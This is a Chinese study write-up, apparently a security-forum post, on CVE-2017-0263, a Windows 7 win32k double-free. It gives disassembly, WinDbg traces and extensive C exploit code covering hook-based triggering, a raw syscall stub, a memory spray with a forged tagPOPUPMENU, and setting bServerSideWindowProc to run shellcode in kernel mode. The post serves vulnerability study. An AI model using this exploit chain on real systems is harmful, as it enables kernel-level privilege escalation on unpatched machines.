首页
社区
课程
招聘
[原创]CVE-2017-0263提权漏洞学习笔记
2022-6-15 18:29 15469

[原创]CVE-2017-0263提权漏洞学习笔记

2022-6-15 18:29
15469

一.前言

1.漏洞描述

在win32k!xxxMNEndMenuState函数中,函数会调用MNFreePopup函数释放tagPOPUPMENU对象,但是函数释放对象以后,没有清空指针。而在弹出窗口过程中,用户可以劫持相应的处理函数来实现两次调用xxxMNEndMenuState函数,因为双重释放导致BSOD的产生。通过内存布局,可以伪装tagPOPUPMENU对象在释放的内存空间中,通过解引用修改窗口对象的关键的标志位,可以通过SendMessage函数让窗口在内核态执行指定的处理函数实现提权操作。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

二.漏洞分析

1.成因分析

图1是win32k!xxxMNEndMenuState函数与本漏洞有关的关键代码,共有三个关键的地方。

图1. xxxMNEndMenuState函数

全局变量gptiCurrent保存的是线程信息结构体tagTHREADINFO,该结构体偏移0x104处保存的是tagMENUSTATE结构体:

0: kd> dt win32k!tagTHREADINFO -r pMenuState
   +0x104 pMenuState : Ptr32 tagMENUSTATE

tagMENUSTATE结构体定义了菜单的状态,该结构体偏移为0的地方,保存了弹出菜单结构体tagPOPUPMENU:

0: kd> dt win32k!tagMENUSTATE -r pGlobalPopupMenu
   +0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU

第一处的代码就是取出pGlobalPopupMenu,之后在第二处将其作为参数传入MNFreePopup函数。tagPOPUPMENU结构体定义如下,该结构体存储关联的弹出菜单相关的各个内核对象的指针:

0: kd> dt win32k!tagPOPUPMENU
   +0x000 flags	           : Uint4B
   +0x004 spwndNotify      : Ptr32 tagWND
   +0x008 spwndPopupMenu   : Ptr32 tagWND
   +0x00c spwndNextPopup   : Ptr32 tagWND
   +0x010 spwndPrevPopup   : Ptr32 tagWND
   +0x014 spmenu           : Ptr32 tagMENU
   +0x018 spmenuAlternate  : Ptr32 tagMENU
   +0x01c spwndActivePopup : Ptr32 tagWND
   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU
   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU
   +0x028 posSelectedItem  : Uint4B
   +0x02c posDropped       : Uint4B

图2是MNFreePopup函数的反汇编结果,该函数的第二处代码会将传入的参数tagPopupMenu释放,可是释放之后,却没有把tagPopupMenu的指针置为空,如果再次进入该函数,就会对相同的内存进行释放,就会导致BSOD的产生。

图2 MNFreePopup函数反汇编

2.xxxTrackPopupMenuEx函数分析

漏洞的触发需要调用TrackPopupMenuEx函数,该函数通过调用内核函数xxxTrackPopupMenuEx函数实现,xxxTrackPopupMenuEx实现了很多功能,具体可以看参考链接中Leeqwind师傅的分析,这里只讲几个关键的步骤。

首先,函数会调用xxxCreateWindowEx创建类名"#32768"窗口:

.text:BF93F432                 xor     ecx, ecx
.text:BF93F434                 push    ecx             ; int
.text:BF93F435                 push    601h            ; int
.text:BF93F43A                 push    ecx             ; int
.text:BF93F43B                 movzx   ebx, ax
.text:BF93F43E                 mov     eax, [ebp+P]
.text:BF93F441                 push    dword ptr [eax+24h] ; int
.text:BF93F444                 and     edx, 40000000h
.text:BF93F44A                 push    ecx             ; int
.text:BF93F44B                 shr     ebx, 0Fh
.text:BF93F44E                 and     ebx, 1
.text:BF93F451                 neg     edx
.text:BF93F453                 sbb     edx, edx
.text:BF93F455                 and     edx, eax
.text:BF93F457                 push    edx             ; int
.text:BF93F458                 push    64h             ; int
.text:BF93F45A                 push    64h             ; int
.text:BF93F45C                 push    [ebp+yTop]      ; int
.text:BF93F45F                 mov     esi, 8000h
.text:BF93F464                 push    [ebp+xLeft]     ; int
.text:BF93F467                 push    80800000h       ; int
.text:BF93F46C                 push    ecx             ; int
.text:BF93F46D                 push    esi             ; int
.text:BF93F46E                 push    esi             ; Str1
.text:BF93F46F                 push    181h            ; int
.text:BF93F474                 call    _xxxCreateWindowEx@60     // 创建窗口
.text:BF93F479                 mov     edi, eax
.text:BF93F47B                 mov     [ebp+var_pWnd], edi
.text:BF93F47E                 test    edi, edi
.text:BF93F480                 jnz     short loc_BF93F489

在xxxCreateWindowEx函数中,在对创建的窗口成员赋值之后,就会调用xxxSendMessage向窗口发送WM_NCCREATE消息:

.text:BF89C81F                 lea     eax, [ebp+Dst]
.text:BF89C825                 push    eax             ; Src
.text:BF89C826                 push    esi             ; UnicodeString
.text:BF89C827                 push    WM_NCCREATE     ; MbString
.text:BF89C82C                 push    ebx             ; P
.text:BF89C82D                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF89C832                 test    eax, eax
.text:BF89C834                 jnz     loc_BF89C8CA

调用完xxxCreateWindowEx函数后,xxxTrackPopupMenuEx函数会调用xxxSetWindowPos函数将菜窗口显示到屏幕中:

.text:BF93F844                 mov     eax, [edi+4]
.text:BF93F847                 shr     eax, 8
.text:BF93F84A                 mov     ecx, eax
.text:BF93F84C                 shl     ecx, 4
.text:BF93F84F                 not     ecx
.text:BF93F851                 and     ecx, 10h
.text:BF93F854                 or      ecx, 241h
.text:BF93F85A                 push    ecx
.text:BF93F85B                 mov     ecx, [ebp+P]
.text:BF93F85E                 xor     ebx, ebx
.text:BF93F860                 push    ebx
.text:BF93F861                 shr     ecx, 10h
.text:BF93F864                 push    ebx
.text:BF93F865                 movsx   ecx, cx
.text:BF93F868                 push    ecx
.text:BF93F869                 movsx   ecx, word ptr [ebp+P]
.text:BF93F86D                 push    ecx
.text:BF93F86E                 push    ebx
.text:BF93F86F                 test    al, 1
.text:BF93F871                 pop     eax
.text:BF93F872                 setnz   al
.text:BF93F875                 dec     eax
.text:BF93F876                 push    eax
.text:BF93F877                 push    [ebp+var_pWnd]
.text:BF93F87A                 call    _xxxSetWindowPos@28

相关窗口位置和状态完成改变之后,xxxSetWindowPos函数会调用xxxEndDeferWindowPosEx函数:

.text:BF89E55A                 mov     ecx, [ebp+arg_18]
.text:BF89E55D                 and     ecx, 4000h
.text:BF89E563                 push    ecx             ; int
.text:BF89E564                 push    eax             ; P
.text:BF89E565                 call    _xxxEndDeferWindowPosEx@8

xxxEndDeferWindowPosEx函数会继续调用xxxSendChangedMsgs函数:

.text:BF89E317                 push    edi
.text:BF89E318                 call    _xxxSendChangedMsgs@4

xxxSendChagedMsgs函数则根据SWP_HIDEWINDOW状态标志位来选择调用xxxRemoveShadow函数删除阴影窗口或调用xxxAddShadow函数来增加阴影窗口:

.text:BF889ACE                 test    byte ptr [esi+18h], SWP_HIDEWINDOW
.text:BF889AD2                 jz      short loc_BF889ADA
.text:BF889AD4                 push    edi
.text:BF889AD5                 call    _xxxRemoveShadow@4 // 删除阴影窗口
.text:BF889ADA
.text:BF889ADA loc_BF889ADA:                           
.text:BF889ADA                 test    byte ptr [esi+18h], SWP_SHOWWINDOW
.text:BF889ADE                 push    edi
.text:BF889ADF                 jz      short loc_BF889AF2
.text:BF889AE1                 call    _ShouldHaveShadow@4 ; ShouldHaveShadow(x)
.text:BF889AE6                 test    eax, eax
.text:BF889AE8                 jz      short loc_BF889B24
.text:BF889AEA                 push    edi             
.text:BF889AEB                 call    _xxxAddShadow@4    // 增加阴影窗口

阴影窗口通过以下的结构体中的next指针连接,第一个结构体的地址保存在了全局变量gpshadowFirst中。

struct SHADOWWINDOW{
    HWND hWnd;                // 拥有阴影窗口的窗口句柄
    HWND pwndShadow;          // 阴影窗口的句柄
    SHADOWWINDOW *next;       // 下一个SHADOWWINDOW结构体的地址
};

在xxxAddShadow函数中,函数会首先申请0x0C大小的内存用来保存SHADOWWINDOW结构体:

.text:BF9445A3                 push    'dssU'          ; Tag
.text:BF9445A8                 push    0Ch             ; NumberOfBytes
.text:BF9445AA                 push    PagedPoolSession ; PoolType
.text:BF9445AC                 call    ds:__imp__ExAllocatePoolWithTag@12  // 申请用来保存阴影窗口的结构体
.text:BF9445B2                 mov     edi, eax                            // 申请到的地址赋给edi

接着就会创建阴影窗口,从参数可以看出,阴影窗口没有自己的消息处理例程:

.text:BF944564                 xor     ebx, ebx
.text:BF9445D6                 push    ebx             ; int
.text:BF9445D7                 movzx   eax, _gatomShadow
.text:BF9445DE                 push    601h            ; int
.text:BF9445E3                 push    ebx             ; int
.text:BF9445E4                 push    _hModuleWin     ; int
.text:BF9445EA                 push    ebx             ; int
.text:BF9445EB                 push    ebx             ; int
.text:BF9445EC                 push    ebx             ; int
.text:BF9445ED                 push    ebx             ; int
.text:BF9445EE                 push    ebx             ; int
.text:BF9445EF                 push    ebx             ; int
.text:BF9445F0                 push    80000000h       ; int
.text:BF9445F5                 push    ebx             ; int
.text:BF9445F6                 push    eax             ; int
.text:BF9445F7                 push    eax             ; Str1
.text:BF9445F8                 push    ecx             ; int
.text:BF9445F9                 call    _xxxCreateWindowEx@60 		// 创建阴影窗口
.text:BF9445FE                 mov     esi, eax                         // 创建的窗口句柄赋给esi

在申请的内存将结构体的成员赋值,并将申请的结构体加入到全局变量gpshadowFirst所指的单向链表中,此时新增的阴影窗口就会是第一个。

.text:BF94466E                 mov     eax, _gpshadowFirst ; 将第一个阴影窗口地址赋给eax
.text:BF944673                 mov     [edi+8], eax    ; 将窗口地址赋给Next
.text:BF944676                 mov     eax, [ebp+arg_0] ; 将窗口pwnd赋给eax
.text:BF944679                 mov     _gpshadowFirst, edi ; 将gpshadowFirst指向新申请的内存地址
.text:BF94467F                 mov     [edi], eax      ; 将eax赋给hWnd
.text:BF944685                 mov     [edi+4], esi    ; 将创建的阴影窗口的句柄赋给pwndShadow

xxxRemoveShadow删除阴影窗口的功能,就会是从gpshadowFirst全局变量中找到第一个符合要求的阴影窗口,销毁阴影窗口,并将增加阴影窗口时候申请的用来保存信息的0x0C的内存释放掉。

.text:BF88D31C ; __stdcall xxxRemoveShadow(x)
.text:BF88D31C _xxxRemoveShadow@4 proc near     
.text:BF88D31C arg_0           = dword ptr  8
.text:BF88D31C                 mov     edi, edi
.text:BF88D31E                 push    ebp
.text:BF88D31F                 mov     ebp, esp
.text:BF88D321                 xor     eax, eax        ; eax清0
.text:BF88D323                 mov     edx, offset _gpshadowFirst
.text:BF88D328                 cmp     _gpshadowFirst, eax ; 验证是否有阴影窗口
.text:BF88D32E                 jz      short loc_BF88D35C
.text:BF88D330                 push    esi
.text:BF88D331
.text:BF88D331 loc_BF88D331:                           
.text:BF88D331                 mov     ecx, [edx]      ; 将阴影窗口地址赋给ecx
.text:BF88D333                 mov     esi, [ecx]      ; 取出阴影窗口的pwnd
.text:BF88D335                 cmp     esi, [ebp+arg_0] ; 判断是否是目标pwnd
.text:BF88D338                 jz      short loc_BF88D343 ; 是的话跳转到删除阴影窗口的代码执行
.text:BF88D33A                 lea     edx, [ecx+8]    ; 取出下一个阴影窗口的地址
.text:BF88D33D                 cmp     [edx], eax      ; 判断是否有下一个阴影窗口
.text:BF88D33F                 jz      short loc_BF88D35B ; 没有则退出
.text:BF88D341                 jmp     short loc_BF88D331 ; 将阴影窗口地址赋给ecx
.text:BF88D343 ; ---------------------------------------------------------------------------
.text:BF88D343
.text:BF88D343 loc_BF88D343:                           ; 
.text:BF88D343                 mov     esi, [ecx+4]    ; 取出pwndShadow赋给esi
.text:BF88D346                 push    edi
.text:BF88D347                 mov     edi, [ecx+8]    ; 取出下一个阴影窗口
.text:BF88D34A                 push    eax             ; Tag
.text:BF88D34B                 push    ecx             ; P
.text:BF88D34C                 mov     [edx], edi      ; 将阴影窗口从链表中去除
.text:BF88D34E                 call    ds:__imp__ExFreePoolWithTag@8 ; 释放掉保存这块阴影窗口信息的内存
.text:BF88D354                 push    esi             ; 传入要删除的阴影窗口的句柄,销毁掉窗口
.text:BF88D355                 call    _xxxDestroyWindow@4 
.text:BF88D35A                 pop     edi
.text:BF88D35B
.text:BF88D35B loc_BF88D35B:                          
.text:BF88D35B                 pop     esi
.text:BF88D35C
.text:BF88D35C loc_BF88D35C:                           
.text:BF88D35C                 pop     ebp
.text:BF88D35D                 retn    4
.text:BF88D35D _xxxRemoveShadow@4 endp

xxxSetWindowPos执行完成后,xxxTrackPopupMenuEx函数会调用xxxWindowEvent函数发送EVENT_SYSTEM_MENUPOPUPSTART通知事件:

.text:BF93F8C9                 push    ebx
.text:BF93F8CA                 push    ebx
.text:BF93F8CB                 push    0FFFFFFFCh
.text:BF93F8CD                 push    [ebp+var_4]
.text:BF93F8D0                 push    EVENT_SYSTEM_MENUPOPUPSTART
.text:BF93F8D2                 call    _xxxWindowEvent@20

总结一下,xxxTrackPopupMenuEx函数会做的三件事情:

  1. 调用xxxCreateWindowEx创建类名为"#32768"的窗口,在创建过程中,会调用xxxSendMessage发送WM_NCCREATE消息

  2. 调用xxxSetWindowPos将窗口显示到屏幕中,在此过程中会创建阴影窗口,阴影窗口没有自己的处理例程,在用户层可以对其完成设置

  3. 调用xxxWindowEvent函数发送EVENT_SYSTEM_MENUPOPUPSTART通知事件

3.漏洞触发

在xxxTrackPopupMenuEx函数执行过程中,完成窗口创建以后,会发送WM_NCCREATE消息和EVENT_SYSTEM_MENUPOPUPSTART通知事件,而用户可以通过HOOK操作实现对这两个操作的劫持,执行用户想要的代码,触发上述存在的双重释放带来的BSOD,此时对消息和事件的劫持的代码如下:

BOOL POC_CVE_2017_0263()
{
	BOOL bRet = TRUE;

	HMODULE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		ShowError("GetModuleHandle", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	HMENU hpopupMenu[2] = { 0 };

	// 创建两个弹出菜单窗口
	hpopupMenu[0] = CreatePopupMenu();
	hpopupMenu[1] = CreatePopupMenu();

	if (!hpopupMenu[0] || !hpopupMenu[1])
	{
		ShowError("CreatePopupMenu", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	LPCSTR szMenuItem = "item";
	MENUINFO mi = { 0 };

	mi.cbSize = sizeof(mi);
	mi.fMask = MIM_STYLE;
	mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;

	// 设置创建的菜单的属性,让它们变成非模态对话框
	if (!SetMenuInfo(hpopupMenu[0], &mi) ||
		!SetMenuInfo(hpopupMenu[1], &mi))
	{
		ShowError("CreatePopupMenu", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 为菜单添加菜单项,第二个窗口为第一个窗口子菜单
	if (!AppendMenu(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem) ||
		!AppendMenu(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem))
	{
		ShowError("AppendMenuA", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	HWND hWindowMain = NULL;
	WNDCLASSEX wc = { 0 };
	char *szClassName = "WNDCLASSMAIN";

	wc.cbSize = sizeof(wc);
	wc.lpfnWndProc = DefWindowProc;
	wc.hInstance = handle;
	wc.lpszClassName = szClassName;

	if (!RegisterClassEx(&wc))
	{
		ShowError("RegisterClassEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 创建窗口为弹出菜单的拥有者
	hWindowMain = CreateWindowEx(WS_EX_LAYERED |
								 WS_EX_TOOLWINDOW |
								 WS_EX_TOPMOST,
								 szClassName,
								 NULL,
								 WS_VISIBLE,
								 0,
								 0,
								 1,
								 1,
								 NULL,
								 NULL,
								 handle,
								 NULL);
	if (!hWindowMain)
	{
		ShowError("CreateWindowEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 设置消息HOOK
	if (!SetWindowsHookEx(WH_CALLWNDPROC,
						  (HOOKPROC)WinHookProc_CVE_2017_0263,
						  handle,
						  GetCurrentThreadId()))
	{
		ShowError("SetWindowHookEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 设置EVENT_SYSTEM_MENUPOPUPSTART事件处理函数
	SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,
					EVENT_SYSTEM_MENUPOPUPSTART,
				        handle,
					WinEventProc_CVE_2017_0263,
					GetCurrentProcessId(),
					GetCurrentThreadId(),
					0);

	// 触发漏洞
	if (!TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL))
	{
		ShowError("TrackPopupMenuEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	MSG msg = { 0 };
	while (GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

exit:
	return bRet;
}

在执行的代码中就要实现两次调用xxxMNEndMenuState,该函数的调用可以通过发送MN_ENDMENU消息,以及NtUserMNDraLeave系统调用来实现。而在图1的第三处代码的最后,函数会将tagMENUSTATE的pmnsPrev赋值给tagTHREADINFO的pMenuState,pmnsPrev通常为0,一旦完成了这个设置,即使再次进入xxxMNEndMenuState,也会在第一处的代码的验证中跳过第二处代码,即跳过MNFreePopup函数的调用。

0: kd> dt win32k!tagMENUSTATE
   +0x020 pmnsPrev         : Ptr32 tagMENUSTATE

因此,需要在最后的赋值之前产生第二个函数的调用,而在赋值之前,函数会对tagMENUSTATE的uButtonDownHitArea调用UnlockMFMWFPWindow函数。

0: kd> dt win32k!tagMENUSTATE
   +0x02c uButtonDownHitArea : Uint4B

uButtonDownHitArea成员保存着当前鼠标按下的坐标区域所属的窗口对象地址,UnlockMFMWFPWindow函数会对窗口对象进行释放,当计数为0的时候会销毁窗口,此时会销毁与该窗口关联的阴影窗口。此外,通过发送WM_ENDMENU消息销毁触发漏洞函数的时候,会删除两个阴影窗口。

综上,漏洞触发的思路如下,首先在消息处理例程中,会创建三个阴影窗口,且为第三个阴影窗口设置消息处理例程。

LRESULT CALLBACK WinHookProc_CVE_2017_0263(int code, WPARAM wParam, LPARAM lParam)
{
	tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

	if (cwp->message == WM_NCCREATE)
	{
		CHAR szTemp[0x20] = { 0 };

		if (!GetClassName(cwp->hwnd, szTemp, 0x14))
		{
			ShowError("GetClassName", GetLastError());
		}

		if (strcmp(szTemp, "#32768") == 0)
		{
			g_hwndMenuHit_2017_0263 = cwp->hwnd;
		}
		else if (strcmp(szTemp, "SysShadow") == 0 && g_hwndMenuHit_2017_0263)
		{
			g_dwShadowCount_2017_0263++;

			if (g_dwShadowCount_2017_0263 == 3)
			{
				// 为第三个阴影窗口设置处理函数
				if (!SetWindowLong(cwp->hwnd,
								   GWL_WNDPROC,
								   (ULONG)ShowdowWinProc_CVE_2017_0263))
				{
					ShowError("SetWindowLong", GetLastError());
				}
			}
			else
			{
				// 设置窗口先隐藏在显示,这样会创建阴影窗口
				if (!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,
					SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW) ||
					!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,
						SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW))
				{
					ShowError("SetWindowPos", GetLastError());
				}
			}
		}
	}

	return CallNextHookEx(0, code, wParam, lParam);
}

在事件处理例程中,第一次进入的时候会发送WM_LBUTTONDOW消息,这样uButtonDowHitArea成员域就会存传当前鼠标按下的区域所属的窗口对象,系统在处理WM_LBUTTONDOWN消息的时候,会再次进入到事件处理例程中,此时就通过发送MN_ENDMENU消息来调用xxxMNEndMenuState函数。

VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,
										 DWORD         event,
										 HWND          hwnd,
										 LONG          idObject,
										 LONG          idChild,
										 DWORD         idEventThread,
										 DWORD         dwmsEventTime)
{
	if (++g_dwCount_2017_0263 >= 2)
	{
		// 发送销毁菜单消息
		SendMessage(hwnd, MN_ENDMENU, 0, 0);
	}
	else
	{
		// 发生鼠标左键按下消息
		SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
	}
}

在处理MN_ENDMUEN消息过程中,会删除两个阴影窗口,当xxxMNEndMenuState函数执行到图1中第三处对uButtonDownHitArea调用UnlockMFMWFPWindow函数的时候,又会删除第三个阴影窗口,就会触发为阴影窗口设置的处理函数。在处理函数中,通过NtUserMNDraLeave函数来再次调用xxxMNEndMenuState函数。

LRESULT WINAPI ShowdowWinProc_CVE_2017_0263(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	// 销毁阴影窗口的时候再次触发漏洞
	if (msg == WM_NCDESTROY)
	{
		CallNtUserMNDraLeave();
	}

	return DefWindowProc(hwnd, msg, wParam, lParam);
}

void __declspec(naked) CallNtUserMNDraLeave()
{
	__asm
	{
		mov eax, 0x11EC	// NtUserMNDraLeave调用号
		int 0x2E
		ret
	}
}

在xxxMNEndMenuState函数中下断点,编译运行POC,可以看到第一次是由发送WM_ENDMENU消息来调用函数:

3: kd> ba e1 win32k!xxxMNEndMenuState
3: kd> g
Breakpoint 0 hit
win32k!xxxMNEndMenuState:
83745fd2 8bff            mov     edi,edi
0: kd> kb
 # ChildEBP RetAddr      Args to Child              
00 91849b0c 8373f03f     00000001 fea13cb0 000001f3 win32k!xxxMNEndMenuState
01 91849b54 836b94f3     fea10cd0 000001f3 00000000 win32k!xxxMenuWindowProc+0xcc1
02 91849b94 83679709     fea13cb0 000001f3 00000000 win32k!xxxSendMessageTimeout+0x1ac
03 91849bbc 83686330     fea13cb0 000001f3 00000000 win32k!xxxWrapSendMessage+0x1c
04 91849bd8 836bb4cd     fea13cb0 000001f3 00000000 win32k!NtUserfnNCDESTROY+0x27
05 91849c10 83e7d1ea     0002017c 000001f3 00000000 win32k!NtUserMessageCall+0xc9

第二次就是通过NtUserMNDraLeave来调用的:

0: kd> g
Breakpoint 0 hit
win32k!xxxMNEndMenuState:
83745fd2 8bff            mov     edi,edi
0: kd> kb
 # ChildEBP RetAddr      Args to Child              
00 977e1c08 8377f0f8     00000001 977e1c34 8376e834 win32k!xxxMNEndMenuState
01 977e1c14 8376e834     8381f580 0012fb78 7420a970 win32k!xxxUnlockMenuState+0x20
02 977e1c24 8375c779     7420a970 83e7d1ea 0012fb78 win32k!xxxMNDragLeave+0x45
03 977e1c2c 83e7d1ea     0012fb78 004014a7 badb0d00 win32k!NtUserMNDragLeave+0xd

继续向下运行,就会因为释放已经被释放的内存产生BSOD错误。

三.漏洞利用

想要不产生BSOD错误,就需要在第二处释放之前,构造数据填入释放的内存。这里通过SetClassLong函数实现,该函数定义如下:

DWORD SetClassLong(HWND hWnd,
                   int nIndex,
                   LONG dwNewLong);

当第二个参数为GCL_MENUNAME的时候,函数会将第三个参数指定的数据写入到第一个参数指定的窗口的成员中。要找到这些数据,首先要获取第一个参数的窗口的pcls:

1: kd> dt win32k!tagWND
   +0x064 pcls             : Ptr32 tagCLS

pcls对应的是tagCLS结构体,该结构体的lpszMenuName保存的地址就保存了调用SetClassLong时指定的第三个参数中的数据。

2: kd> dt win32k!tagCLS
   +0x050 lpszMenuName     : Ptr32 Uint2B

因此,在触发漏洞之前需要先创建一些窗口:

        DWORD i = 0;

	// 创建用于后面填充释放的内存
	for (i = 0; i < 0x100; i++)
	{
		WNDCLASSEX Class = { 0 };
		CHAR szTemp[20] = { 0 };
		HWND hwnd = NULL;

		wsprintf(szTemp, "%x-%d", rand(), i);
		Class.cbSize = sizeof(WNDCLASSEXA);
		Class.lpfnWndProc = DefWindowProc;
		Class.cbWndExtra = 0;
		Class.hInstance = handle;
		Class.lpszMenuName = NULL;
		Class.lpszClassName = szTemp;
		if (!RegisterClassEx(&Class))
		{
			ShowError("RegisterClassEx", GetLastError());
			continue;
		}
		hwnd = CreateWindowEx(0, 
							  szTemp,
							  NULL,
							  WS_OVERLAPPED,
							  0, 0, 0, 0,
							  NULL,
							  NULL,
							  handle,
							  NULL);
		if (!hwnd)
		{
			ShowError("CreateWindowEx", GetLastError());
			continue;
		}
		g_hWindowList_2017_0263[g_dwWindowCount_2017_0263++] = hwnd;
	}

这样,当第二次调用xxxMNEndMenuState函数的时候,就可以通过伪造的数据来防止BSOD的产生。

                TAGPOPUPMENU tagPopupMenu = { 0 };

		tagPopupMenu.flags = 0x00098208;
		tagPopupMenu.spwndNotify = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.spwndPopupMenu = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.spwndNextPopup = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.spwndPrevPopup = (DWORD)g_pvAddrFlags_2017_0263 - 4;
		tagPopupMenu.spmenu = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.spmenuAlternate = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.spwndActivePopup = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.ppopupmenuRoot = 0xFFFFFFFF;
		tagPopupMenu.ppmDelayedFree = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.posSelectedItem = 0xFFFFFFFF;
		tagPopupMenu.psDropped = (DWORD)g_pvHeadFake_2017_0263;
		tagPopupMenu.dwReserve = 0;

		// 其中某一块会占用上一次释放的内存块
		for (DWORD i = 0; i < g_dwWindowCount_2017_0263; i++)
		{
			SetClassLongW(g_hWindowList_2017_0263[i], GCL_MENUNAME, (DWORD)&tagPopupMenu);
		}

		// 再次释放内存,导致bServerSideWindowProc标志位置位
		CallNtUserMNDraLeave();

但是,从图2可以看到,在释放tagPOPUPMENU之前,会对其成员进行解引用,所以伪装的数据所指向的地址应当符合窗口对象的要求,此时就通过创建一个新得窗口,并为其设置扩展区域,伪造的tagPOPUPMENU中的成员指向的就是扩展区域,通过设置扩展区域中的数据来让伪造的tagPOPUPMENU中的成员所指的窗口有效。

        WNDCLASSEX wc = { 0 };
	char *szClassName = "WNDCLASSHUNT";

	wc.cbSize = sizeof(wc);
	wc.lpszClassName = szClassName;
	wc.cbWndExtra = 0x200;
	wc.lpfnWndProc = DefWindowProc;
	wc.hInstance = handle;

	if (!RegisterClassEx(&wc))
	{
		ShowError("RegisterClassEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	g_hWindowHunt_2017_0263 = CreateWindowEx(WS_EX_LEFT, 
											 szClassName, 
											 NULL, 
											 WS_OVERLAPPED,
										     0, 0, 1, 1,
											 NULL,
											 NULL,
											 handle,
											 NULL);
	if (!g_hWindowHunt_2017_0263)
	{
		ShowError("CreateWindowEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	PTHRDESKHEAD head = (PTHRDESKHEAD)HMValidateHandle(g_hWindowHunt_2017_0263, TYPE_WINDOW);

	// 预留4字节
	PBYTE pbExtra = (PBYTE)head->pSelf + 0xB0 + 4;

	// 用来赋值伪造的tagPOPUPMENU
	g_pvHeadFake_2017_0263 = pbExtra + 0x44;

	// 将剩余内存空间的内容保存为扩展空间的首地址
	for (i = 1; i <= 0x80; i++)
	{
		SetWindowLongW(g_hWindowHunt_2017_0263, sizeof(DWORD) * i, (DWORD)pbExtra);
	}

	PVOID pti = head->h.pti;

	// 伪装tagPOPUPMENU中的窗口的成员
	SetWindowLongW(g_hWindowHunt_2017_0263, 0x28, 0);
	SetWindowLongW(g_hWindowHunt_2017_0263, 0x50, (LONG)pti); // pti
	SetWindowLongW(g_hWindowHunt_2017_0263, 0x6C, 0);
	SetWindowLongW(g_hWindowHunt_2017_0263, 0x1F8, 0xC033C033);
	SetWindowLongW(g_hWindowHunt_2017_0263, 0x1FC, 0xFFFFFFFF);

想要完成提权操作,需要ShellCode在内核模式下执行,这里需要用到bServerSideWindowProc标志位:

0: kd> dt win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x014 state            : Uint4B
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit
   +0x014 bDestroyed       : Pos 31, 1 Bit
   +0x018 state2           : Uint4B

当调用SendMessage向窗口发送消息的时候,内核会通过xxxSendMessageTimeout来实现功能,而在该函数中,会判断bServerSideWindowProc是否置位,如果置为则会调用指定的消息处理例程。

.text:BF8B94C0                 test    byte ptr [esi+16h], 4 ; tagWND->bServerSideWindowProc
.text:BF8B94C8                 jz      short loc_BF8B9505

.text:BF8B94E8                 push    [ebp+Src]
.text:BF8B94EB                 push    dword ptr [ebp+UnicodeString]
.text:BF8B94EE                 push    ebx
.text:BF8B94EF                 push    esi
.text:BF8B94F0                 call    dword ptr [esi+60h] ; call tagWND->lpfnWndProc

.text:BF8B9505                 push    0               ; int
.text:BF8B9507                 push    0               ; int
.text:BF8B9509                 push    [ebp+Src]       ; Src
.text:BF8B950C                 push    dword ptr [ebp+UnicodeString] ; UnicodeString
.text:BF8B950F                 push    ebx             ; MbString
.text:BF8B9510                 push    esi             ; P
.text:BF8B9511                 call    _xxxSendMessageToClient@28

所以,在伪造的tagPOPUPMENU对象的spwndPrevPopup成员赋值为bServerSideWindowProc标志位偏移-4的地址,这样在图2的第一处的代码中成员进行解引用的时候,会将偏移为4的clockObj减一,这样就会将bServerSideWindowProc置位。

	// 获取关键标志位的地址
	g_pvAddrFlags_2017_0263 = (PVOID)((DWORD)head->pSelf + 0x16);

	// 指定窗口的消息处理例程
	SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);

因此,第二次释放内存之后,就会将bServerSideWindowProc置位,这样对窗口发送消息后,就会在内核模式下执行ShellCode实现提权。

		// 再次释放内存,导致bServerSideWindowProc标志位置位
		CallNtUserMNDraLeave();

		// 发送消息执行ShellCode
		DWORD dwRet = SendMessageW(g_hWindowHunt_2017_0263, 0x9F9F, g_dwPopupMenuRoot_2017_0263, 0);

